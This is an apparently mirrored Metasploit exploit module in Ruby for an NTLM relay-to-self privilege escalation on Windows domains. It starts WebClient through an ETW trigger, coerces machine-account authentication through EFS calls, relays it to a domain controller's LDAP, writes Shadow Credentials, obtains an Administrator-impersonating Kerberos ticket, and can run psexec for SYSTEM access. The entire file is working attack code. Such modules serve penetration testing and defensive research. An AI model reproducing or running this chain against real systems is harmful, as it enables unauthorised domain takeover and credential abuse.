Share
## https://sploitus.com/exploit?id=PACKETSTORM:223751
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      include Msf::Exploit::Remote::HttpServer::Relay
      include Msf::Exploit::Remote::LDAP::ActiveDirectory
      include Msf::Post::Windows::Priv
      include Msf::Post::File
    
      attr_accessor :service
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'NTLM Relay to Self (HTTP to LDAP) - Post Exploitation',
            'Description' => %q{
              This module performs an NTLM relay-to-self privilege escalation attack. It starts an HTTP-to-LDAP
              relay server on the compromised host, then triggers the WebClient service via an ETW event
              (allowing a low-privilege user to start it), and coerces the local machine account to authenticate
              via OpenEncryptedFileRaw to the relay listener over WebDAV.
    
              The coerced machine account NTLM authentication is relayed to a Domain Controller's LDAP service,
              where the module writes Shadow Credentials (msDS-KeyCredentialLink) to its own AD object and
              obtains a Kerberos TGT via PKINIT. The module then performs S4U2Proxy to obtain an impersonating
              service ticket for Administrator, enabling psexec back to itself for SYSTEM access.
    
              RUN_GET_TICKET and RUN_PSEXEC are independent toggles. An operator can obtain a ticket without running
              psexec, run psexec with a previously obtained ticket, or run both sequentially. RUN_PSEXEC defaults to
              false so the module does not automatically attempt lateral movement.
            },
            'License' => MSF_LICENSE,
            'Stance' => Msf::Exploit::Stance::Passive,
            'Passive' => true,
            'Author' => [ 'jheysel-r7' ],
            'Arch' => [ ARCH_X64, ARCH_X86 ],
            'Platform' => [ 'win' ],
            'SessionTypes' => [ 'meterpreter' ],
            'Targets' => [
              [ 'Windows', {} ]
            ],
            'DisclosureDate' => '2001-01-01', # First record of NTLM Relaying
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
    
        register_options([
          OptPort.new('SRVPORT', [true, 'The port the victim machine will listen on', 8081]),
          OptAddress.new('SRVHOST', [true, 'The interface the victim will listen on', '0.0.0.0']),
          OptPort.new('RPORT', [true, 'The target LDAP server port', 389]),
          OptString.new('TARGETURI', [true, 'The target URI to relay', '/']),
          OptString.new('DOMAIN', [false, 'The target domain (auto-detected from session if blank)', '']),
          OptBool.new('RANDOMIZE_TARGETS', [false, 'Randomize relay targets', false]),
          OptInt.new('SessionKeepalive', [false, 'Keepalive interval in seconds', 300]),
          OptBool.new('RUN_CHECKS', [true, 'Run pre-flight checks before starting the relay server', true]),
          OptBool.new('RUN_GET_TICKET', [
            true,
            'Write key credential (Shadow Credentials) and obtain a Kerberos TGT/ST for the target object.', true
          ]),
          OptBool.new('RUN_PSEXEC', [
            true,
            'Use the obtained ticket to run psexec against the target host for a session. Only meaningful for computer targets.', false
          ]),
          OptString.new('TARGET_PRIVILEGED_USER', [true, 'The privileged user to attempt to impersonate and authenticate as', 'Administrator']),
          OptString.new('SPN', [false, 'Service Principal Name for the TGS request (default: CIFS/<target_fqdn>)', '']),
          OptInt.new('COERCE_AUTH_WAIT', [true, 'Time to wait to try a different EFS Win32 API via railgun after the first wasn\'t successful', 3]),
        ])
    
        # The module passes the payload definition to the psexec module which will start the handler
        register_advanced_options([
          OptBool.new('DisablePayloadHandler', [false, 'Disable the handler', true])
        ])
    
        # These are loaded in from the ActiveDirectory mixin which the module will only use with the session returned from
        # the LDAP relay, deregister as they're unnecessary
        deregister_options('LDAPDomain', 'LDAPPassword', 'LDAPUsername')
      end
    
      def relay_targets
        Msf::Exploit::Remote::Relay::TargetList.new(
          :ldap,
          datastore['RPORT'],
          datastore['RHOSTS'],
          datastore['TARGETURI'],
          randomize_targets: datastore['RANDOMIZE_TARGETS'],
          drop_mic_only: false,
          drop_mic_and_sign_key_exch_flags: true
        )
      end
    
      def lm_compatibility_level
        registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa', 'LmCompatibilityLevel')
      end
    
      # Auto-detects the victim's machine account name (e.g., desktop-123$)
      def default_machine_account
        computer_name = session.sys.config.sysinfo['Computer']
        "#{computer_name}$".downcase
      end
    
      # Resolves the target domain from the datastore or auto-detects from the session.
      def resolve_domain
        domain = datastore['DOMAIN'].to_s.strip
        return domain unless domain.empty? || domain == '/'
    
        detected = get_domain_name
        if detected.to_s.empty?
          print_error('Could not auto-detect domain. Please set the DOMAIN option manually.')
          return nil
        end
        print_status("Auto-detected domain: #{detected}")
        detected
      end
    
      # Derives the FQDN for the target computer object.
      def target_fqdn(target_name, domain_fqdn)
        hostname = target_name.delete_suffix('$')
        "#{hostname}.#{domain_fqdn}".downcase
      end
    
      # Validates options early and fails fast on invalid configurations.
      def validate_options!
        unless datastore['RUN_GET_TICKET'] || datastore['RUN_PSEXEC']
          print_status('Neither RUN_GET_TICKET nor RUN_PSEXEC is set. The module will only perform the relay.')
          return false
        end
    
        true
      end
    
      def exploit
        unless session.type == 'meterpreter'
          fail_with(Failure::BadConfig, "This module requires a Meterpreter session (got: #{session.type}).")
        end
    
        @spawned_ldap_sessions = []
    
        pre_flight_checks if datastore['RUN_CHECKS']
    
        print_status("Starting relay server bound to Session #{session.sid}...")
        start_service({ 'Comm' => session })
        print_status("Server successfully started on #{srvhost}:#{datastore['SRVPORT']} via Session #{session.sid}.")
    
        print_status('Starting WebClient service via ETW trigger...')
        start_webclient_service
    
        print_status('Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...')
        coerce_authentication
    
        @http_relay_service.wait if @http_relay_service
      end
    
      # Starts the WebClient service by attempting a connection to a WebDAV resource via WNetAddConnection2.
      # This triggers the MPR -> davclnt.dll -> TriggerStartWebClientService code path internally,
      # which fires the ETW event from the local process context (with LOCAL SID in the token).
      # The connection itself will fail, but the side effect of loading davclnt.dll starts the service.
      # Starts the WebClient service using an ETW event trigger via railgun.
      # Registering an ETW provider with the WebClient service trigger GUID and writing
      # an event causes the service to auto-start (works from medium integrity with LOCAL SID).
      def start_webclient_service
        check_local_sid
        # GUID: {22B6D684-FA63-4578-87C9-EFFCBE6643C7}
        guid = [0x22B6D684, 0xFA63, 0x4578, 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7].pack('VvvC8')
    
        railgun = session.railgun
        railgun.add_function('advapi32', 'EventRegister', 'DWORD', [
          ['PBLOB', 'ProviderId', 'in'],
          ['PBLOB', 'EnableCallback', 'in'],
          ['PBLOB', 'CallbackContext', 'in'],
          ['PBLOB', 'RegHandle', 'out']
        ])
    
        if session.arch == ARCH_X64
          railgun.add_function('advapi32', 'EventWrite', 'DWORD', [
            ['LPVOID', 'RegHandle', 'in'],
            ['PBLOB', 'EventDescriptor', 'in'],
            ['DWORD', 'UserDataCount', 'in'],
            ['PBLOB', 'UserData', 'in']
          ])
          railgun.add_function('advapi32', 'EventUnregister', 'DWORD', [
            ['LPVOID', 'RegHandle', 'in']
          ])
        else
          # x86 stdcall: ULONGLONG is passed as   DWORDs on the stack (low first, high second)
          railgun.add_function('advapi32', 'EventWrite', 'DWORD', [
            ['DWORD', 'RegHandleLow', 'in'],
            ['DWORD', 'RegHandleHigh', 'in'],
            ['PBLOB', 'EventDescriptor', 'in'],
            ['DWORD', 'UserDataCount', 'in'],
            ['PBLOB', 'UserData', 'in']
          ])
          railgun.add_function('advapi32', 'EventUnregister', 'DWORD', [
            ['DWORD', 'RegHandleLow', 'in'],
            ['DWORD', 'RegHandleHigh', 'in']
          ])
        end
    
        result = railgun.advapi32.EventRegister(guid, nil, nil, 8)
        unless result['return'] == 0
          fail_with(Failure::Unknown, "EventRegister failed with error code: #{result['return']}")
        end
    
        reg_handle_raw = result['RegHandle']
    
        # EVENT_DESCRIPTOR struct layout:
        # Id(USHORT=2), Version(UCHAR=1), Channel(UCHAR=1), Level(UCHAR=1), Opcode(UCHAR=1), Task(USHORT=2), Keyword(ULONGLONG=8)
        # Values: Id=1, Version=0, Channel=0, Level=4, Opcode=0, Task=0, Keyword=0
        event_desc = [1, 0, 0, 4, 0, 0, 0].pack('vCCCCvQ<')
    
        if session.arch == ARCH_X64
          reg_handle = reg_handle_raw.unpack1('Q<')
          result = railgun.advapi32.EventWrite(reg_handle, event_desc, 0, nil)
          unless result['return'] == 0
            railgun.advapi32.EventUnregister(reg_handle)
            fail_with(Failure::Unknown, "EventWrite failed with error code: #{result['return']}")
          end
          railgun.advapi32.EventUnregister(reg_handle)
        else
          handle_low, handle_high = reg_handle_raw.unpack('VV')
          result = railgun.advapi32.EventWrite(handle_low, handle_high, event_desc, 0, nil)
          unless result['return'] == 0
            railgun.advapi32.EventUnregister(handle_low, handle_high)
            fail_with(Failure::Unknown, "EventWrite failed with error code: #{result['return']}")
          end
          railgun.advapi32.EventUnregister(handle_low, handle_high)
        end
        print_good('WebClient service triggered successfully via ETW.')
    
        # Give the service a moment to start
        Rex.sleep(3)
      end
    
      # Coerces machine account authentication by calling EFS Win32 APIs via railgun
      # with a WebDAV UNC path, triggering the machine account to authenticate to our relay listener.
      # Tries multiple methods until one succeeds, similar to PetitPotam's Automatic mode.
      def coerce_authentication
        hostname = session.sys.config.sysinfo['Computer']
        listener = "#{hostname}@#{datastore['SRVPORT']}/print"
        @relay_succeeded = false
    
        efs_methods = [
          { name: 'OpenEncryptedFileRaw', call: ->(path) { session.railgun.advapi32.OpenEncryptedFileRawW(path, 0, 8) } },
          { name: 'EncryptFile', call: ->(path) { session.railgun.advapi32.EncryptFileW(path) } },
          { name: 'DecryptFile', call: ->(path) { session.railgun.advapi32.DecryptFileW(path, 0) } }
        ]
    
        efs_methods.each do |method|
          break if @relay_succeeded
    
          rand_path = "#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.#{Rex::Text.rand_text_alphanumeric(3)}"
          unc_path = "\\\\#{listener}\\#{rand_path}"
    
          print_status("Attempting coercion via #{method[:name]} on #{unc_path}...")
          method[:call].call(unc_path)
    
          # Give the relay a moment to process before trying the next method
          Rex.sleep(datastore['COERCE_AUTH_WAIT'])
        end
      end
    
      def on_relay_success(relay_connection:, relay_identity:)
        @relay_succeeded = true
        print_good('Relay succeeded! Handshake completed.')
    
        ldap_session = session_setup(relay_connection, relay_identity)
        return unless ldap_session
    
        return unless validate_options!
    
        dc_ip = relay_connection.socket.peerhost
        target_name = default_machine_account
    
        framework.threads.spawn("Post_Relay_Chain_#{ldap_session.sid}", false) do
          run_post_relay_chain(ldap_session, dc_ip, target_name)
        end
      rescue StandardError => e
        elog('Failed to setup the session or orchestrate post-relay actions', error: e)
        print_error("Relay success handling failed: #{e.message}")
      end
    
      def run_post_relay_chain(ldap_session, dc_ip, target_name)
        if datastore['RUN_GET_TICKET']
          run_get_ticket_chain(ldap_session, dc_ip, target_name)
        end
    
        if datastore['RUN_PSEXEC']
          run_psexec_step(ldap_session, dc_ip, target_name)
        end
      end
    
      def run_get_ticket_chain(ldap_session, dc_ip, target_name)
        added_device_id = nil
    
        begin
          domain_fqdn = resolve_domain
          return unless domain_fqdn
    
          fqdn = target_fqdn(target_name, domain_fqdn)
    
          shadow_results = call_shadow_credentials_module('ADD', ldap_session.sid, target_name)
          return unless shadow_results
    
          added_device_id = shadow_results[:device_id]
          cert_path = shadow_results[:cert_path]
    
          ccache_path = call_get_ticket_module('GET_TGS', cert_path, dc_ip, domain_fqdn, target_name, fqdn: fqdn)
          return unless ccache_path
    
          print_good("Obtained impersonating ST for target host #{target_name}")
    
          store_or_export_ticket(ccache_path, target_name)
        rescue StandardError => e
          print_error("Error during ticket acquisition chain: #{e.message}")
        ensure
          print_status('--- Initiating OPSEC Cleanup ---')
    
          if added_device_id
            print_status("Removing Shadow Credentials (Device ID: #{added_device_id})...")
            call_shadow_credentials_module('REMOVE', ldap_session.sid, target_name, added_device_id)
          end
    
          print_status('Cleanup complete.')
        end
      end
    
      def run_psexec_step(_ldap_session, _dc_ip, target_name)
        unless datastore['RUN_GET_TICKET']
          print_warning('RUN_PSEXEC set without RUN_GET_TICKET; expecting a previously obtained ticket.')
        end
    
        domain_fqdn = resolve_domain
        return unless domain_fqdn
    
        fqdn = target_fqdn(target_name, domain_fqdn)
    
        ccache_path = find_latest_ticket(target_name, domain_fqdn)
        unless ccache_path
          print_error("No cached ticket found for #{target_name}. Run with RUN_GET_TICKET first.")
          return
        end
    
        execute_psexec(ccache_path, fqdn, domain_fqdn)
      end
    
      def store_or_export_ticket(ccache_path, target_name)
        @last_ccache_path = ccache_path
        print_status("Ticket for #{target_name} stored at: #{ccache_path}")
      end
    
      def find_latest_ticket(target_name, domain_fqdn)
        return @last_ccache_path if @last_ccache_path && File.exist?(@last_ccache_path)
    
        fqdn = target_fqdn(target_name, domain_fqdn)
        ticket_loot = framework.db.loots.where("ltype LIKE '%kerberos.ccache%'").where('info LIKE ?', "%#{fqdn}%").last
        return ticket_loot.path if ticket_loot && File.exist?(ticket_loot.path)
    
        nil
      end
    
      def call_shadow_credentials_module(action, ldap_session_id, target_name, device_id = nil)
        mod_refname = 'admin/ldap/shadow_credentials'
        print_status("Loading #{mod_refname} to execute against LDAP Session #{ldap_session_id}")
    
        shadow_module = framework.modules.create(mod_refname)
    
        unless shadow_module
          print_error("Failed to load module: #{mod_refname}")
          return nil
        end
    
        shadow_module.datastore['SESSION'] = ldap_session_id
        shadow_module.datastore['ACTION'] = action
        shadow_module.datastore['TARGET_USER'] = target_name
        shadow_module.datastore['DEVICE_ID'] = device_id if action == 'REMOVE' && device_id
        shadow_module.datastore['VERBOSE'] = datastore['VERBOSE']
    
        print_status("Running #{mod_refname} to #{action} key for #{target_name}...")
    
        results = shadow_module.run_simple(
          'LocalInput' => user_input,
          'LocalOutput' => user_output,
          'RunAsJob' => false
        )
    
        if action == 'ADD'
          if results && results.is_a?(Array) && results.length >= 2
            returned_device_id, stored_path = results
            print_status("Shadow Credentials successfully added (Device ID: #{returned_device_id}).")
            return { device_id: returned_device_id, cert_path: stored_path }
          end
        elsif action == 'REMOVE'
          if results
            print_good("Successfully removed KeyCredentialLink with Device ID: #{device_id}")
            return { success: true }
          end
        end
    
        print_error("Shadow credentials module failed or did not return expected data for action #{action}.")
        nil
      end
    
      # Obtains a Kerberos ticket via the get_ticket module.
      # action: 'GET_TGT' (user targets) or 'GET_TGS' (computer targets with S4U2Proxy impersonation).
      def call_get_ticket_module(action, cert_path, dc_ip, domain_fqdn, target_name, fqdn: nil)
        is_tgs = action == 'GET_TGS'
        print_status(is_tgs ? 'Requesting S4U2Proxy TGS for Administrator...' : "Requesting TGT for user #{target_name} via PKINIT...")
    
        get_ticket_mod = framework.modules.create('auxiliary/admin/kerberos/get_ticket')
        initial_loot_id = framework.db.loots.where("ltype LIKE '%kerberos.ccache%'").maximum(:id) || 0
    
        get_ticket_mod.datastore['ACTION'] = action
        get_ticket_mod.datastore['CERT_FILE'] = cert_path
        get_ticket_mod.datastore['DOMAIN'] = domain_fqdn
        get_ticket_mod.datastore['RHOSTS'] = dc_ip
        get_ticket_mod.datastore['USERNAME'] = target_name
    
        if is_tgs
          get_ticket_mod.datastore['IMPERSONATE'] = datastore['TARGET_PRIVILEGED_USER'].to_s.empty? ? 'Administrator' : datastore['TARGET_PRIVILEGED_USER']
          get_ticket_mod.datastore['IMPERSONATE_TYPE'] = 'generic'
          get_ticket_mod.datastore['SPN'] = datastore['SPN'].to_s.empty? ? "CIFS/#{fqdn}" : datastore['SPN']
        end
    
        vprint_status('Datastore values being sent to get_ticket:')
        vprint_status("ACTION: #{get_ticket_mod.datastore['ACTION']}")
        vprint_status("CERT_FILE: #{get_ticket_mod.datastore['CERT_FILE']}")
        vprint_status("DOMAIN: #{get_ticket_mod.datastore['DOMAIN']}")
        vprint_status("RHOSTS: #{get_ticket_mod.datastore['RHOSTS']}")
        vprint_status("USERNAME: #{get_ticket_mod.datastore['USERNAME']}")
        vprint_status("IMPERSONATE: #{get_ticket_mod.datastore['IMPERSONATE']}")
        vprint_status("IMPERSONATE_TYPE: #{get_ticket_mod.datastore['IMPERSONATE_TYPE']}")
        vprint_status("SPN: #{get_ticket_mod.datastore['SPN']}")
    
        begin
          get_ticket_mod.run_simple('LocalInput' => user_input, 'LocalOutput' => user_output)
        rescue StandardError => e
          print_error("Getting the #{is_tgs ? 'TGS' : 'TGT'} has failed: #{e.message}.")
          return nil
        end
    
        ticket_loot = framework.db.loots.where("ltype LIKE '%kerberos.ccache%'").where('id > ?', initial_loot_id).last
    
        unless ticket_loot && File.exist?(ticket_loot.path)
          print_error("Failed to retrieve #{is_tgs ? 'TGS' : 'TGT'} from database.")
          return nil
        end
    
        print_good("#{is_tgs ? 'S4U2Proxy Ticket' : 'TGT'} acquired: #{ticket_loot.path}")
        ticket_loot.path
      end
    
      def execute_psexec(ccache_path, fqdn, domain_fqdn)
        print_status("Executing PsExec with Kerberos ticket via session #{session.sid} COMM channel...")
    
        psexec_mod = framework.modules.create('exploit/windows/smb/psexec')
        unless psexec_mod
          print_error('Failed to load module: exploit/windows/smb/psexec')
          return
        end
    
        psexec_mod.datastore['RHOSTS'] = fqdn
        psexec_mod.datastore['SMBUser'] = 'Administrator'
        psexec_mod.datastore['SMBDomain'] = domain_fqdn
        psexec_mod.datastore['SMB::Auth'] = 'kerberos'
        psexec_mod.datastore['Smb::Krb5Ccname'] = ccache_path
        psexec_mod.datastore['Smb::Rhostname'] = fqdn
        psexec_mod.datastore['SMB::Comm'] = session.sid
        psexec_mod.datastore['PAYLOAD'] = payload_instance.refname
        psexec_mod.datastore['LHOST'] = datastore['LHOST'] if datastore['LHOST']
        psexec_mod.datastore['LPORT'] = datastore['LPORT'] if datastore['LPORT']
    
        print_status("Launching PsExec against #{fqdn} as Administrator (Kerberos) via COMM session #{session.sid}...")
    
        psexec_mod.exploit_simple(
          'LocalInput' => user_input,
          'LocalOutput' => user_output,
          'RunAsJob' => true
        )
    
        print_good('PsExec module launched. Check sessions for new elevated session.')
      end
    
      def session_setup(relay_connection, relay_identity)
        client = relay_connection.create_ldap_client
        ldap_session = Msf::Sessions::LDAP.new(
          relay_connection.socket,
          {
            client: client,
            keepalive_seconds: datastore['SessionKeepalive']
          }
        )
        domain, _, username = relay_identity.partition('\\')
    
        ldap_session.set_from_exploit(self)
        ldap_session.info = "#{domain}\\#{username}"
        framework.sessions.register(ldap_session)
    
        if ldap_session.sid
          print_good("LDAP Session #{ldap_session.sid} successfully opened!")
          @spawned_ldap_sessions << ldap_session.sid
          ldap_session
        else
          print_error('Failed to register the LDAP session.')
          nil
        end
      end
    
      def pre_flight_checks
        check_db_status
        check_options
        check_lm_compatibility_level
        check_privs
        check_port_availability
        check_target_reachability
      end
    
      def check_db_status
        unless framework.db.active
          fail_with(Failure::BadConfig, 'A connected Metasploit database is required to track Kerberos tickets. Please start the database using `db_connect`.')
        end
      end
    
      def check_options
        unless framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE)
          fail_with(Failure::BadConfig, 'This module requires the `ldap_session_type` feature to be enabled. Please enable this feature using `features set ldap_session_type true`')
        end
      end
    
      def check_lm_compatibility_level
        lm_level = lm_compatibility_level
    
        if lm_level > 2
          fail_with(Failure::BadConfig, 'The target system is configured to not send NTLMv1 responses. This module requires NTLMv1 to be enabled to capture relay credentials. Please set the LmCompatibilityLevel registry value to 2 or lower and try again.')
        end
    
        print_good("Target system LmCompatibilityLevel is set to #{lm_level}, which allows NTLMv1 responses. Proceeding with module execution.")
      end
    
      def check_privs
        srvport = datastore['SRVPORT'].to_i
    
        if srvport <= 1024 && !is_admin?
          print_warning("You are attempting to bind to a privileged port (#{srvport}) but do not have Admin rights.")
          print_warning('The OS will likely block this. Consider changing SRVPORT to something > 1024, or escalating privileges.')
        end
      end
    
      # Verifies the session token has the LOCAL SID (S-1-2-0). The ETW service trigger
      # for WebClient requires this SID. Present for interactive/RDP logons, absent for
      # network (type 3) logons such as psexec or WMI-spawned sessions.
      def check_local_sid
        # S-1-2-0 binary SID: Revision=1, SubAuthorityCount=1,
        # IdentifierAuthority={0,0,0,0,0,2}, SubAuthority[0]=0
        local_sid = "\x01\x01\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00"
    
        result = session.railgun.advapi32.CheckTokenMembership(0, local_sid, 4)
        is_member = result['IsMember'].unpack1('V')
    
        unless is_member != 0
          fail_with(Failure::BadConfig,
                    'Session token does not have the LOCAL SID (S-1-2-0). ' \
                    'The ETW trigger requires an interactive or RDP logon. ' \
                    'Network logon sessions (e.g., psexec/WMI) will not work.')
        end
        print_good('Session token has LOCAL SID (S-1-2-0) โ€” ETW service trigger will work.')
      end
    
      def check_port_availability
        srvport = datastore['SRVPORT'].to_i
        print_status("Checking if port #{srvport} is available on the victim...")
    
        begin
          connections = session.net.config.get_netstat
          conflict = connections.find do |conn|
            conn.local_port == srvport &&
              conn.protocol == 'tcp' &&
              conn.state == 'LISTEN'
          end
    
          if conflict
            pid_info = conflict.pid_name.to_s.empty? ? conflict.pid : conflict.pid_name
            fail_with(Failure::BadConfig, "Port #{srvport} is already in use by PID #{pid_info} on the victim machine! Please choose a different SRVPORT.")
          else
            print_good("Port #{srvport} is available on the victim machine.")
          end
        rescue NoMethodError, Rex::Post::Meterpreter::RequestError => e
          print_warning("Could not verify port availability (Error: #{e.message}). Proceeding anyway...")
        end
      end
    
      def check_target_reachability
        rhosts_string = datastore['RHOSTS']
        rport = datastore['RPORT'].to_i
    
        print_status("Verifying victim can reach the target LDAP server(s) on port #{rport}...")
    
        Rex::Socket::RangeWalker.new(rhosts_string).each do |rhost|
          sock = session.net.socket.create(
            Rex::Socket::Parameters.new(
              'PeerHost' => rhost,
              'PeerPort' => rport,
              'Proto' => 'tcp'
            )
          )
          sock.close
          print_good("Target LDAP server #{rhost} is reachable from the victim!")
        rescue StandardError => e
          print_warning("Could not reach #{rhost}:#{rport} from the victim machine (Error: #{e.message}).")
          print_warning("The relay will likely fail for #{rhost} if the victim cannot communicate with it.")
        end
      end
    end